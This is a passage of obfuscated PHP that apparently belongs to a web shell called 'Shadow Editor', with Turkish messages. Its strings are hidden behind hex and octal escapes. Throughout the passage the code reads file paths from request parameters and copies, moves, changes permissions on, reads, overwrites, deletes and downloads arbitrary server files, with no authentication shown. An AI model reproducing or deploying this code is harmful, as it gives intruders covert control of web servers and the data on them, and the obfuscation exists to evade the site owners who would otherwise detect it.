"\74\144\x69\166\x20\143\154\141\x73\163\75\x22\x61\x6c\x65\162\x74\x20\141\154\145\162\x74\x2d\163\165\143\143\x65\163\163\x20\x67\x6c\157\x77\x2d\x73\x75\143\143\145\x73\163\x22\x3e\xf0\237\x93\x84\x20\x44\157\163\171\x61\x20\157\154\165\xc5\237\164\x75\162\x75\x6c\x64\x75\x3a\40" . htmlspecialchars(basename($file)) . "\x3c\57\144\151\166\x3e"; } else { echo "\74\144\x69\166\40\x63\154\141\x73\163\x3d\x22\141\154\x65\x72\x74\40\x61\x6c\x65\x72\x74\55\145\162\x72\157\x72\x20\x67\x6c\x6f\167\55\x65\162\x72\x6f\x72\x22\x3e\342\x9d\x8c\40\x44\x6f\x73\x79\141\40\157\x6c\x75\305\x9f\x74\165\162\x75\x6c\141\x6d\141\144\xc4\261\x21\x3c\x2f\x64\x69\x76\x3e"; } } else { echo "\74\x64\x69\166\x20\x63\154\x61\x73\x73\x3d\42\x61\x6c\145\162\164\x20\141\154\145\x72\x74\55\145\162\x72\157\162\x20\x67\154\x6f\x77\55\145\x72\162\x6f\x72\42\76\342\235\x8c\40\x5a\141\x74\x65\156\40\x76\x61\x72\x21\74\x2f\x64\x69\x76\x3e"; } } if (isset($_POST["\143\x6f\x70\171\137\146\x69\x6c\145"]) && isset($_POST["\163\157\x75\x72\143\x65\x5f\146\151\154\145"]) && isset($_POST["\x64\145\x73\x74\137\x6e\x61\x6d\145"]) && !empty($_POST["\144\x65\163\164\x5f\156\x61\155\145"])) { $source = $_POST["\163\x6f\165\162\x63\145\x5f\x66\151\154\145"]; $dest = dirname($source) . "\57" . $_POST["\x64\145\163\x74\x5f\x6e\x61\x6d\145"]; if (file_exists($source) && is_file($source)) { if (!file_exists($dest)) { if (@copy($source, $dest)) { echo "\x3c\144\151\166\40\143\154\141\163\163\75\42\141\154\145\x72\x74\x20\x61\x6c\145\162\x74\x2d\163\x75\143\143\x65\x73\163\x20\147\x6c\157\167\55\x73\165\143\143\145\x73\x73\42\76\xf0\x9f\x93\x8b\40\x44\157\163\171\x61\x20\153\157\160\171\141\154\141\156\x64\xc4\xb1\72\x20" . htmlspecialchars(basename($source)) . "\x20\xe2\x86\x92\40" . htmlspecialchars($_POST["\144\145\x73\x74\x5f\x6e\141\x6d\x65"]) . "\x3c\x2f\x64\151\x76\x3e"; } else { echo "\x3c\x64\x69\x76\40\x63\154\x61\x73\x73\x3d\x22\141\154\x65\162\x74\x20\x61\154\x65\x72\x74\55\x65\x72\162\157\162\40\147\x6c\157\167\x2d\x65\x72\x72\x6f\x72\42\x3e\342\235\214\x20\113\x6f\x70\171\x61\x6c\141\156\141\155\x61\144\xc4\xb1\41\x3c\57\x64\x69\166\76"; } } else { echo "\x3c\144\x69\x76\x20\143\x6c\x61\x73\x73\75\x22\x61\x6c\145\162\164\x20\141\x6c\145\x72\x74\x2d\145\x72\162\157\x72\x20\147\154\x6f\167\x2d\145\162\162\157\162\x22\76\xe2\235\214\40\102\165\40\x69\x73\x69\155\144\x65\x20\144\x6f\x73\171\x61\x20\172\141\x74\145\x6e\x20\166\x61\162\41\74\x2f\144\x69\x76\76"; } } else { echo "\74\x64\x69\x76\x20\x63\x6c\141\163\x73\x3d\x22\141\x6c\145\x72\x74\40\x61\x6c\x65\x72\164\55\145\x72\x72\157\x72\40\x67\x6c\x6f\167\x2d\x65\162\162\157\162\42\76\342\235\214\40\x4b\x61\171\x6e\141\x6b\x20\144\157\x73\x79\141\x20\142\165\x6c\165\156\141\x6d\141\x64\xc4\261\41\74\57\x64\151\166\76"; } } if (isset($_POST["\155\x6f\x76\145\137\146\x69\x6c\x65"]) && isset($_POST["\163\157\x75\x72\143\x65\137\146\151\154\x65"]) && isset($_POST["\144\145\163\164\137\156\x61\155\145"]) && !empty($_POST["\144\x65\163\164\137\x6e\x61\x6d\145"])) { $source = $_POST["\x73\x6f\165\162\x63\x65\x5f\146\151\x6c\145"]; $dest = dirname($source) . "\x2f" . $_POST["\x64\145\x73\164\x5f\x6e\141\155\x65"]; if (file_exists($source) && is_file($source)) { if (!file_exists($dest)) { if (@rename($source, $dest)) { echo "\74\x64\x69\166\40\x63\154\141\163\163\x3d\x22\141\x6c\x65\162\x74\40\141\154\145\x72\x74\55\163\165\x63\143\145\163\163\x20\147\x6c\157\167\x2d\163\x75\x63\x63\145\163\163\42\76\xf0\237\232\232\40\x44\157\163\x79\x61\40\164\141\xc5\237\xc4\xb1\156\x64\304\261\x3a\x20" . htmlspecialchars(basename($source)) . "\x20\342\206\222\x20" . htmlspecialchars($_POST["\x64\145\163\x74\137\156\141\x6d\x65"]) . "\x3c\x2f\144\x69\x76\76"; } else { echo "\x3c\x64\151\166\x20\143\x6c\141\163\163\75\42\141\x6c\x65\162\x74\40\x61\154\x65\x72\x74\55\x65\x72\x72\x6f\x72\40\x67\x6c\157\x77\x2d\x65\162\x72\x6f\162\x22\x3e\342\x9d\x8c\x20\x54\141\305\x9f\304\261\x6e\141\x6d\x61\144\304\261\x21\x3c\x2f\x64\x69\x76\x3e"; } } else { echo "\74\144\x69\166\40\x63\x6c\x61\x73\163\75\42\x61\154\x65\162\x74\40\x61\154\145\x72\164\x2d\x65\x72\162\157\162\40\147\154\x6f\167\55\145\x72\x72\x6f\x72\42\76\342\x9d\x8c\x20\102\x75\40\151\163\151\155\144\x65\x20\x64\157\x73\171\141\40\x7a\141\x74\145\156\x20\166\x61\x72\41\x3c\x2f\144\151\166\x3e"; } } else { echo "\x3c\x64\151\166\x20\x63\154\141\163\163\75\x22\141\x6c\145\x72\164\40\141\154\x65\162\x74\x2d\145\x72\162\x6f\162\40\147\x6c\x6f\x77\55\x65\162\162\157\162\42\76\xe2\x9d\x8c\x20\x4b\141\171\x6e\x61\153\40\x64\x6f\163\x79\x61\x20\142\165\x6c\165\156\x61\x6d\x61\144\304\261\41\74\57\144\151\x76\76"; } } if (isset($_POST["\143\150\155\157\144\137\146\x69\x6c\145"]) && isset($_POST["\x63\150\155\x6f\144\137\x70\x65\162\155\163"]) && !empty($_POST["\143\x68\155\x6f\144\137\146\151\154\x65"])) { $chmodPath = $_POST["\x63\150\155\157\x64\137\146\x69\154\145"]; $chmodPerms = octdec($_POST["\143\150\x6d\157\144\137\160\145\x72\x6d\163"]); if (file_exists($chmodPath)) { if (@chmod($chmodPath, $chmodPerms)) { echo "\x3c\x64\151\x76\x20\x63\154\141\x73\x73\75\42\x61\x6c\145\x72\x74\x20\x61\154\x65\x72\164\55\x73\x75\x63\x63\145\163\x73\40\147\154\157\x77\x2d\163\165\143\143\145\163\163\42\76\xf0\x9f\x94\223\40\xc4\260\x7a\x69\156\x6c\x65\162\40\x64\x65\xc4\237\x69\xc5\x9f\x74\151\x72\151\x6c\x64\151\72\x20" . htmlspecialchars(basename($chmodPath)) . "\x20\xe2\x86\x92\40" . $_POST["\x63\x68\x6d\157\144\x5f\x70\x65\162\x6d\x73"] . "\74\57\144\x69\166\x3e"; } else { echo "\74\x64\x69\x76\40\143\x6c\x61\163\163\75\42\141\154\145\162\164\x20\x61\x6c\145\162\x74\55\145\162\162\157\162\x20\147\154\157\167\x2d\145\162\x72\x6f\x72\42\76\xe2\235\214\x20\xc4\260\172\151\x6e\x6c\x65\x72\x20\x64\x65\304\x9f\151\xc5\237\164\151\x72\151\154\x65\155\x65\144\151\x21\x3c\x2f\x64\x69\166\76"; } } else { echo "\74\x64\151\166\40\143\154\141\x73\163\x3d\x22\141\154\145\162\x74\40\141\x6c\145\162\x74\x2d\x65\x72\x72\157\162\40\x67\x6c\x6f\167\x2d\x65\162\162\x6f\x72\x22\x3e\342\x9d\x8c\x20\104\x6f\163\x79\x61\40\142\165\x6c\165\156\141\x6d\x61\144\xc4\xb1\x21\74\57\144\x69\166\76"; } } if (isset($_GET["\x76\151\x65\x77"]) && is_file($_GET["\166\x69\145\167"]) && file_exists($_GET["\x76\151\x65\x77"])) { $viewFile = $_GET["\x76\x69\145\x77"]; $ext = strtolower(pathinfo($viewFile, PATHINFO_EXTENSION)); $content = file_get_contents($viewFile); $fileInfo = safeFileInfo($viewFile); $fileName = basename($viewFile); $fileSize = formatSize($fileInfo["\x73\x69\172\145"]); $filePerm = $fileInfo["\160\x65\162\155"]; $fileMtime = $fileInfo["\155\x74\x69\x6d\145"]; $fileOwner = $fileInfo["\x6f\x77\156\x65\162"]; if (isset($_POST["\163\x61\166\145\137\146\151\154\145"]) && isset($_POST["\x65\x64\x69\x74\137\x66\x69\154\145\x5f\160\x61\x74\150"]) && isset($_POST["\145\x64\x69\164\x5f\x63\x6f\156\164\145\156\164"])) { $savePath = $_POST["\x65\x64\151\x74\137\146\151\x6c\x65\x5f\x70\141\x74\150"]; if (file_exists($savePath) && is_file($savePath)) { if (@file_put_contents($savePath, $_POST["\x65\144\151\164\x5f\143\x6f\x6e\x74\145\156\x74"]) !== false) { echo "\x3c\163\143\162\151\160\x74\76\141\154\x65\x72\x74\x28\x22\40\x44\157\163\171\x61\x20\153\x61\171\x64\145\144\x69\154\x64\x69\41\42\x29\x3b\74\x2f\x73\143\x72\151\160\164\x3e"; $content = file_get_contents($savePath); } else { echo "\74\x73\143\x72\x69\x70\x74\x3e\x61\x6c\x65\162\164\x28\42\342\235\x8c\x20\x44\157\x73\171\141\40\x6b\141\171\x64\x65\144\x69\x6c\145\155\x65\x64\x69\x21\42\x29\x3b\74\57\x73\x63\x72\x69\160\x74\x3e"; } } } if (isset($_POST["\144\145\x6c\145\x74\x65\x5f\146\151\154\x65"]) && isset($_POST["\145\144\151\x74\137\146\151\x6c\x65\x5f\160\141\164\150"])) { $delPath = $_POST["\145\x64\x69\164\x5f\x66\x69\154\145\137\160\141\164\x68"]; if (file_exists($delPath) && is_file($delPath)) { if (@unlink($delPath)) { echo "\74\x73\x63\162\x69\x70\x74\x3e\x61\x6c\145\x72\164\50\x22\xf0\237\x97\x91\xef\xb8\217\40\x44\x6f\x73\171\x61\40\x73\x69\154\151\x6e\x64\x69\41\42\51\73\x77\x69\156\144\x6f\x77\x2e\154\x6f\143\141\164\x69\x6f\156\56\x68\x72\x65\x66\75\42\x3f\x61\x63\164\151\157\x6e\x3d\146\x69\x6c\145\163\46\144\x69\162\x3d" . urlencode(dirname($delPath)) . "\42\x3b\74\x2f\163\x63\x72\151\160\x74\76"; } else { echo "\x3c\x73\143\162\151\160\164\76\x61\x6c\x65\162\x74\50\x22\xe2\x9d\x8c\40\x44\x6f\163\x79\x61\40\x73\x69\154\151\156\x65\155\145\144\151\41\x22\51\x3b\x3c\57\163\143\162\151\160\164\76"; } } } if (isset($_POST["\x64\x6f\167\156\x6c\x6f\x61\144\137\x66\x69\x6c\x65"]) && isset($_POST["\145\x64\x69\x74\x5f\x66\x69\x6c\145\x5f\160\x61\x74\x68"]) && file_exists($_POST["\x65\144\151\x74\137\x66\x69\154\x65\137\x70\141\164\150"])) { $file = $_POST["\x65\144\x69\x74\137\146\151\154\x65\137\160\x61\x74\150"]; header("\x43\x6f\156\164\145\x6e\164\x2d\104\x65\x73\143\x72\x69\160\164\151\157\x6e\72\40\106\x69\154\145\40\124\162\141\x6e\x73\146\145\162"); header("\103\x6f\x6e\x74\145\x6e\164\55\x54\x79\160\x65\x3a\x20\x61\160\160\x6c\151\143\x61\164\x69\x6f\156\57\x6f\143\164\x65\164\x2d\163\164\162\x65\x61\x6d"); header("\103\157\156\164\x65\156\x74\x2d\104\151\x73\x70\157\163\151\164\151\157\x6e\72\40\x61\164\x74\141\x63\x68\x6d\x65\156\164\73\x20\146\151\154\x65\156\x61\x6d\x65\75\42" . basename($file) . "\42"); header("\103\157\156\164\145\x6e\x74\x2d\114\x65\x6e\x67\164\150\x3a\x20" . filesize($file)); readfile($file); die; } $icon = getFileIcon($fileName); $color = getFileColor($fileName); $typeLabel = "\x44\157\163\171\141"; if (in_array($ext, array("\x6a\x70\147", "\x6a\x70\145\147", "\160\156\147", "\147\151\x66", "\151\x63\x6f", "\163\x76\x67", "\167\145\x62\x70", "\x62\155\160"))) { $typeLabel = "\xf0\237\226\xbc\xef\270\x8f\x20\x52\145\163\x69\155"; } elseif (in_array($ext, array("\155\160\64", "\141\x76\151", "\x6d\153\166", "\155\x6f\166", "\x77\x65\142\155"))) { $typeLabel = "\xf0\237\x8e\254\40\x56\151\144\x65\157"; } elseif (in_array($ext, array("\x6d\x70\x33", "\167\141\x76", "\146\x6c\141\x63", "\x61\x61\143", "\x6f\147\147"))) { $typeLabel = "\360\x9f\216\xb5\40\123\x65\x73"; } elseif (in_array($ext, array("\172\x69\x70", "\162\x61\x72", "\x37\172", "\164\141\162", "\147\x7a", "\142\172\x32"))) { $typeLabel = "\xf0\x9f\223\xa6\40\x41\162\305\237\151\166"; } elseif (in_array($ext, array("\160\150\160", "\160\x68\x74\x6d\x6c", "\150\164\155\154", "\x68\x74\x6d", "\x63\163\x73", "\152\x73", "\x70\171", "\160\x6c", "\x72\142", "\x67\157", "\x72\x73", "\143", "\143\160\x70", "\152\141\166\141", "\x73\x68"))) { $typeLabel = "\360\x9f\x92\273\x20\113\x6f\x64"; } elseif (in_array($ext, array("\x74\x78\164", "\x6c\157\x67", "\x6d\144", "\x69\x6e\151", "\x63\x6f\x6e\146", "\x63\146\x67", "\152\x73\157\156", "\170\x6d\x6c", "\171\x61\x6d\154", "\171\155\x6c"))) { $typeLabel = "\360\237\223\235\x20\115\145\x74\151\x6e"; } elseif (in_array($ext, array("\160\144\x66"))) { $typeLabel = "\xf0\237\223\x84\40\x50\x44\106"; } elseif (in_array($ext, array("\x64\157\143", "\144\157\x63\x78", "\x78\x6c\x73", "\170\154\x73\x78", "\160\160\164", "\160\x70\164\x78"))) { $typeLabel = "\xf0\x9f\223\x8a\40\117\146\x66\x69\143\x65"; } echo "\74\41\104\117\103\124\131\120\105\x20\150\164\155\x6c\76\12\40\40\x20\40\40\x20\40\40\74\x68\x74\155\154\76\xa\x20\x20\x20\40\x20\40\x20\x20\74\150\145\x61\144\x3e\12\40\40\x20\x20\40\40\x20\40\40\x20\40\x20\74\155\x65\164\x61\40\143\150\x61\x72\x73\145\164\75\x22\x55\x54\x46\55\x38\x22\76\xa\40\x20\x20\40\40\x20\40\40\40\x20\x20\40\74\x6d\145\x74\x61\x20\156\x61\155\x65\75\42\166\x69\x65\167\160\x6f\x72\164\x22\40\143\157\156\x74\x65\x6e\164\x3d\x22\167\x69\x64\164\150\75\144\x65\x76\x69\143\x65\55\167\x69\144\164\150\x2c\x20\x69\156\x69\x74\x69\141\154\x2d\x73\x63\x61\154\x65\x3d\61\56\60\42\76\12\x20\x20\x20\x20\40\x20\40\40\40\40\x20\x20\74\x74\x69\x74\x6c\x65\76\x20" . htmlspecialchars($fileName) . "\40\x2d\x20\123\x68\141\144\157\167\x20\105\x64\x69\x74\157\162\x3c\57\164\151\164\154\145\x3e\12\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\74\x6c\151\x6e\153\x20\162\145\154\75\42\163\x74\x79\x6c\145\163\150\145\145\x74\42\x20\150\162\145\x66\75\42\x68\x74\x74\x70\x73\72\57\57\x63\x64\x6e\152\163\x2e\143\x6c\157\x75\144\146\154\141\162\x65\56\x63\157\x6d\x2f\x61\x6a\141\170\x2f\x6c\x69\x62\x73\57\x66\x6f\156\x74\x2d\x61\167\x65\x73\x6f\x6d\x65\x2f\x36\x2e\x35\x2e\60\57\x63\x73\163\x2f\x61\154\154\x2e\155\151\156\x2e\x63\x73\x73\42\x3e\xa\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\40\x3c\154\151\x6e\153\x20\150\162\x65\x66\x3d\x22\150\x74\x74\160\x73\x3a\57\x2f\x66\157\x6e\164\163\x2e\147\157\x6f\x67\154\145\x61\160\x69\x73\x2e\x63\157\155\x2f\143\163\163\x32\x3f\146\x61\155\151\x6c\171\x3d\x4a\145\x74\x42\x72\141\x69\156\x73\53\x4d\157\156\x6f\x3a\x77\x67\x68\164\100\64\x30\60\73\67\x30\x30\x26\144\x69\163\x70\154\141\171\x3d\x73\167\141\160\x22\x20\x72\145\x6c\x3d\42\x73\x74\x79\x6c\145\163\x68\145\x65\164\x22\76\12\40\40\40\40\40\x20\x20\x20\40\40\40\x20\74\163\164\x79\x6c\x65\76\xa\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\x2a\40\173\40\x6d\141\162\x67\151\156\x3a\x30\73\40\x70\141\x64\x64\151\x6e\x67\72\60\x3b\x20\142\157\170\55\x73\x69\172\x69\156\x67\72\x62\x6f\x72\144\x65\x72\55\x62\x6f\x78\x3b\40\x7d\12\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\40\x20\142\x6f\x64\x79\40\x7b\xa\x20\x20\40\40\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\40\142\141\143\x6b\x67\x72\x6f\165\x6e\144\x3a\x20\x23\60\x61\60\x30\x31\x30\73\12\40\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\40\x20\x63\157\x6c\x6f\162\72\40\43\143\70\x64\66\145\65\73\xa\40\x20\40\x20\40\x20\40\40\x20\40\x20\40\40\x20\x20\40\x20\x20\40\40\146\157\x6e\164\x2d\146\141\155\151\154\x79\72\x20\47\x4a\145\x74\x42\162\x61\x69\x6e\x73\40\x4d\157\x6e\157\47\54\x20\x6d\157\156\x6f\163\160\141\143\145\73\xa\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\40\40\40\40\x20\40\40\x70\x61\144\144\151\x6e\147\72\x20\x31\65\160\x78\x3b\xa\x20\x20\x20\40\40\x20\x20\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\40\x6d\151\x6e\x2d\150\145\151\x67\150\x74\x3a\x20\x31\x30\x30\x76\150\73\xa\40\40\40\40\40\40\x20\x20\40\40\x20\40\x20\40\40\40\40\40\x20\40\144\151\163\160\154\141\171\72\40\x66\x6c\x65\170\73\12\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\x20\40\40\x20\x20\x20\40\40\x6a\165\163\x74\x69\x66\171\x2d\143\157\x6e\x74\145\156\164\72\40\143\145\156\x74\145\x72\73\12\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\141\154\151\x67\x6e\55\151\164\x65\155\x73\72\x20\x63\x65\156\x74\145\162\73\xa\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\40\x20\x7d\12\40\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\x2e\166\x69\145\x77\x65\x72\x20\173\xa\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x6d\141\x78\55\x77\151\x64\164\150\72\40\61\60\x30\x30\x70\x78\73\xa\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\40\40\x20\x20\x20\40\40\40\x77\x69\144\x74\x68\x3a\x20\x31\x30\60\45\x3b\12\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\40\40\40\x20\x20\40\40\x20\142\141\x63\x6b\x67\x72\157\165\156\144\72\x20\43\60\141\60\x30\61\x30\x3b\xa\40\x20\40\x20\40\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x62\x6f\x72\x64\145\162\x3a\x20\61\x70\x78\40\x73\x6f\x6c\151\144\x20\43\142\x33\60\60\146\146\x34\x34\73\12\40\40\x20\40\40\40\40\40\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\142\157\162\x64\x65\x72\55\162\141\x64\151\x75\163\72\40\61\x32\x70\x78\x3b\12\40\x20\40\x20\40\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\x6f\x76\145\x72\146\154\157\x77\x3a\x20\150\x69\x64\144\x65\156\73\xa\40\x20\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\40\40\x20\x20\40\142\x6f\170\x2d\x73\150\x61\144\157\167\72\40\x30\x20\60\40\70\60\160\170\40\x72\147\x62\x61\50\x31\67\x39\54\x30\x2c\x32\x35\65\54\x30\x2e\x30\x36\51\54\40\60\x20\x30\40\x31\x35\60\x70\170\40\162\x67\142\x61\x28\x31\x37\x39\54\60\54\62\65\65\54\x30\56\60\x33\51\x3b\xa\x20\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x61\156\151\x6d\141\x74\x69\x6f\156\72\x20\x67\154\157\167\120\x75\154\163\x65\x20\x34\163\40\x65\141\163\145\55\x69\156\55\x6f\165\x74\40\151\x6e\x66\x69\x6e\x69\164\145\73\xa\40\x20\x20\x20\40\40\x20\40\40\x20\40\x20\x20\x20\40\40\x7d\xa\40\40\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x20\100\153\x65\171\146\x72\141\x6d\145\163\40\147\154\x6f\x77\x50\x75\x6c\163\145\x20\x7b\12\40\x20\40\40\40\40\40\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\60\x25\54\40\61\x30\60\x25\x20\173\40\x62\157\170\55\x73\x68\x61\144\x6f\167\72\x20\60\x20\x30\40\70\60\160\170\x20\x72\147\142\141\50\61\67\x39\54\60\x2c\62\x35\65\54\x30\56\x30\x36\51\x3b\40\175\12\x20\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x35\x30\45\40\x7b\40\x62\157\170\x2d\163\x68\141\144\157\x77\x3a\x20\x30\x20\60\40\x31\62\60\160\x78\x20\162\x67\142\141\x28\x31\67\x39\54\60\x2c\62\x35\65\54\60\56\61\65\x29\54\x20\60\x20\x30\x20\62\60\x30\x70\170\40\x72\147\x62\x61\x28\x31\x37\x39\x2c\60\54\62\65\x35\54\x30\56\x30\x35\x29\x3b\40\x7d\xa\40\x20\40\40\x20\40\40\40\40\x20\40\40\x20\40\x20\x20\175\xa\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\40\x2e\166\x69\x65\x77\x65\x72\55\x68\145\141\144\x65\x72\x20\173\xa\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\40\40\x20\142\x61\x63\153\x67\162\x6f\x75\156\144\72\40\43\60\141\x30\x30\61\x30\73\12\x20\x20\40\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x70\x61\x64\144\151\156\x67\72\x20\x31\x30\x70\x78\x20\61\66\x70\x78\x3b\12\40\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\40\40\40\x20\x62\157\x72\144\145\x72\55\142\157\164\164\157\x6d\72\40\x31\x70\x78\x20\x73\x6f\x6c\x69\144\40\x23\142\x33\x30\x30\146\146\x34\x34\73\12\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\x64\x69\x73\160\x6c\141\171\x3a\40\146\154\x65\170\73\12\x20\40\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\x6a\x75\163\x74\x69\x66\171\x2d\x63\x6f\x6e\164\x65\156\164\72\40\163\160\141\x63\x65\55\x62\145\x74\x77\x65\x65\156\73\12\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\141\154\x69\147\156\55\151\164\145\x6d\163\x3a\40\x63\x65\x6e\x74\x65\162\x3b\xa\x20\40\40\40\x20\40\x20\40\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x66\154\145\x78\x2d\167\x72\x61\x70\72\x20\x77\162\x61\160\73\12\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\147\141\160\72\40\x36\x70\x78\73\xa\40\x20\40\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\40\175\xa\x20\40\x20\40\40\x20\40\40\x20\40\40\x20\40\x20\x20\x20\x2e\166\x69\145\x77\x65\162\55\x68\145\141\x64\x65\x72\x20\x2e\x6c\145\146\x74\40\173\12\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\40\40\40\x20\x20\144\151\163\x70\x6c\141\x79\72\40\x66\x6c\x65\x78\73\xa\x20\40\x20\40\40\x20\x20\x20\40\40\40\x20\x20\40\40\40\x20\40\40\x20\141\154\151\x67\x6e\55\x69\164\x65\155\x73\72\40\143\x65\156\164\x65\x72\x3b\12\40\x20\40\x20\40\40\x20\40\40\x20\x20\x20\x20\x20\40\40\40\x20\40\40\147\141\160\72\x20\x31\x32\160\x78\x3b\xa\40\x20\x20\40\40\40\x20\x20\40\40\40\40\x20\x20\40\40\x7d\12\40\40\x20\40\40\40\40\40\x20\40\40\x20\40\x20\40\x20\x2e\x76\x69\x65\167\x65\x72\x2d\150\x65\141\x64\145\162\x20\x2e\x6c\145\x66\x74\x20\x2e\151\143\157\156\40\173\xa\40\40\x20\x20\40\40\x20\40\40\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\x77\x69\x64\164\150\72\40\x33\66\160\170\x3b\xa\40\40\40\40\40\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\150\x65\x69\x67\150\164\x3a\x20\63\66\x70\x78\x3b\xa\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\x20\40\40\x20\40\x20\x20\x62\157\x72\x64\145\162\55\x72\x61\x64\x69\165\163\72\x20\70\160\170\x3b\xa\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\142\x61\x63\x6b\x67\162\x6f\x75\156\x64\72\x20" . $color . "\x32\x32\73\xa\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\40\x20\x62\157\162\144\145\x72\x3a\x20\x31\160\x78\40\163\157\x6c\151\x64\40" . $color . "\x34\x34\x3b\xa\x20\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\144\151\163\x70\x6c\141\x79\x3a\40\146\154\145\x78\x3b\xa\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\141\154\151\x67\156\55\x69\x74\145\x6d\x73\x3a\40\143\x65\156\x74\145\162\x3b\12\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\40\152\165\x73\x74\x69\x66\171\x2d\143\157\x6e\x74\145\x6e\164\72\40\143\145\156\x74\x65\x72\x3b\12\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\146\157\156\x74\55\163\x69\x7a\x65\72\x20\61\66\160\x78\x3b\12\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\40\x20\x20\40\40\x63\157\x6c\157\162\x3a\40" . $color . "\73\xa\40\40\40\40\40\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\141\x6e\x69\x6d\141\x74\151\157\x6e\x3a\40\x69\143\x6f\156\120\x75\x6c\x73\145\x20\63\163\x20\x65\141\163\145\x2d\x69\x6e\x2d\x6f\x75\x74\40\x69\156\146\151\156\x69\x74\145\73\xa\x20\40\x20\x20\x20\40\40\40\40\40\x20\x20\40\40\x20\40\175\12\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\x40\x6b\x65\x79\146\x72\x61\155\145\x73\x20\x69\x63\157\156\x50\165\x6c\x73\x65\40\x7b\12\x20\x20\40\40\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\60\x25\x2c\40\x31\60\x30\45\40\x7b\x20\142\x6f\x78\x2d\x73\150\141\x64\157\167\72\x20\60\40\x30\x20\62\60\x70\x78\x20\x72\x67\142\x61\x28\61\67\x39\54\60\x2c\62\x35\x35\54\x30\51\x3b\40\175\12\40\x20\x20\40\x20\40\40\40\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x35\60\45\40\173\x20\x62\x6f\170\x2d\x73\x68\141\x64\157\x77\x3a\40\x30\x20\60\40\64\60\160\x78\x20\162\x67\x62\x61\x28\61\67\x39\54\x30\x2c\62\x35\65\54\x30\x2e\x32\x29\73\40\175\12\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\x20\40\40\175\12\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\56\166\151\145\x77\x65\x72\55\150\x65\x61\144\145\x72\40\x2e\x6c\145\x66\164\x20\x2e\x6e\x61\x6d\145\x20\x7b\12\x20\x20\x20\40\40\40\x20\x20\40\40\40\40\x20\40\40\x20\40\40\x20\40\146\x6f\156\x74\x2d\163\151\172\145\72\x20\61\64\160\170\x3b\12\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\x63\x6f\x6c\157\x72\72\40\x23\145\60\x65\70\146\x30\x3b\12\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\x7d\xa\x20\40\x20\40\40\x20\40\x20\40\40\x20\40\x20\x20\40\40\x2e\x76\151\145\167\145\162\x2d\x68\145\141\144\145\162\x20\x2e\154\x65\146\x74\40\56\155\x65\164\x61\x20\173\xa\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x66\157\x6e\164\x2d\x73\x69\x7a\145\x3a\40\70\160\170\x3b\12\40\x20\40\40\x20\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\40\40\40\x63\157\x6c\157\162\72\40\43\x35\x61\x32\141\67\141\73\12\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\x20\x64\x69\163\